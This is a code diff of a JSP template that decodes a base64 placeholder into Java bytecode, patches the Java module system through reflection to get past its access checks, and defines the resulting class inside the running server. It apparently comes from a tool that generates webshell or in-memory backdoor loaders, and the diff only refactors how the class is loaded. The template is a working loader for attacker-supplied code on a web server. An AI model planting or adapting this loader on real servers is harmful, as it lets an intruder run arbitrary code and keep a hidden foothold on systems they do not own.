|
1 |
| -<%@ page import="java.lang.*" %> |
2 |
| -<%@ page import="java.lang.Class" %> |
3 |
| -<%@ page import="java.lang.ClassLoader" %> |
4 |
| -<%@ page import="java.lang.ClassNotFoundException" %> |
5 |
| -<%@ page import="java.lang.Integer" %> |
6 |
| -<%@ page import="java.lang.Long" %> |
7 |
| -<%@ page import="java.lang.Object" %> |
8 |
| -<%@ page import="java.lang.String" %> |
9 |
| -<%@ page import="java.lang.Thread" %> |
10 |
| -<%@ page import="java.lang.Throwable" %> |
11 | 1 | <%
|
12 |
| - String base64Str = "{{base64Str}}"; |
13 |
| - byte[] bytecode = null; |
14 |
| - ClassLoader classLoader = Thread.currentThread().getContextClassLoader(); |
15 |
| - try { |
16 |
| - Class base64Clz = classLoader.loadClass("java.util.Base64"); |
17 |
| - Object decoder = base64Clz.getMethod("getDecoder").invoke(null); |
18 |
| - bytecode = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str); |
19 |
| - } catch (ClassNotFoundException ee) { |
20 |
| - Class datatypeConverterClz = classLoader.loadClass("javax.xml.bind.DatatypeConverter"); |
21 |
| - bytecode = (byte[]) datatypeConverterClz.getMethod("parseBase64Binary", String.class).invoke(null, base64Str); |
22 |
| - } |
23 | 2 | Object unsafe = null;
|
24 | 3 | Object rawModule = null;
|
25 | 4 | long offset = 48;
|
|
37 | 16 | getAndSetObjectM.invoke(unsafe, this.getClass(), offset, module);
|
38 | 17 | } catch (Throwable ignored) {
|
39 | 18 | }
|
40 |
| - java.net.URLClassLoader urlClassLoader = new java.net.URLClassLoader(new java.net.URL[0], Thread.currentThread().getContextClassLoader()); |
| 19 | + String base64Str = "{{base64Str}}"; |
| 20 | + byte[] bytecode = null; |
| 21 | + try { |
| 22 | + Class base64Clz = Class.forName("java.util.Base64"); |
| 23 | + Object decoder = base64Clz.getMethod("getDecoder").invoke(null); |
| 24 | + bytecode = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str); |
| 25 | + } catch (ClassNotFoundException ee) { |
| 26 | + Class datatypeConverterClz = Class.forName("javax.xml.bind.DatatypeConverter"); |
| 27 | + bytecode = (byte[]) datatypeConverterClz.getMethod("parseBase64Binary", String.class).invoke(null, base64Str); |
| 28 | + } |
41 | 29 | java.lang.reflect.Method defMethod = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, Integer.TYPE, Integer.TYPE);
|
42 | 30 | defMethod.setAccessible(true);
|
43 |
| - Class<?> clazz = (Class<?>) defMethod.invoke(urlClassLoader, bytecode, 0, bytecode.length); |
| 31 | + Class<?> clazz = (Class<?>) defMethod.invoke(Thread.currentThread().getContextClassLoader(), bytecode, 0, bytecode.length); |
44 | 32 | if (getAndSetObjectM != null) {
|
45 | 33 | getAndSetObjectM.invoke(unsafe, this.getClass(), offset, rawModule);
|
46 | 34 | }
|
|
0 commit comments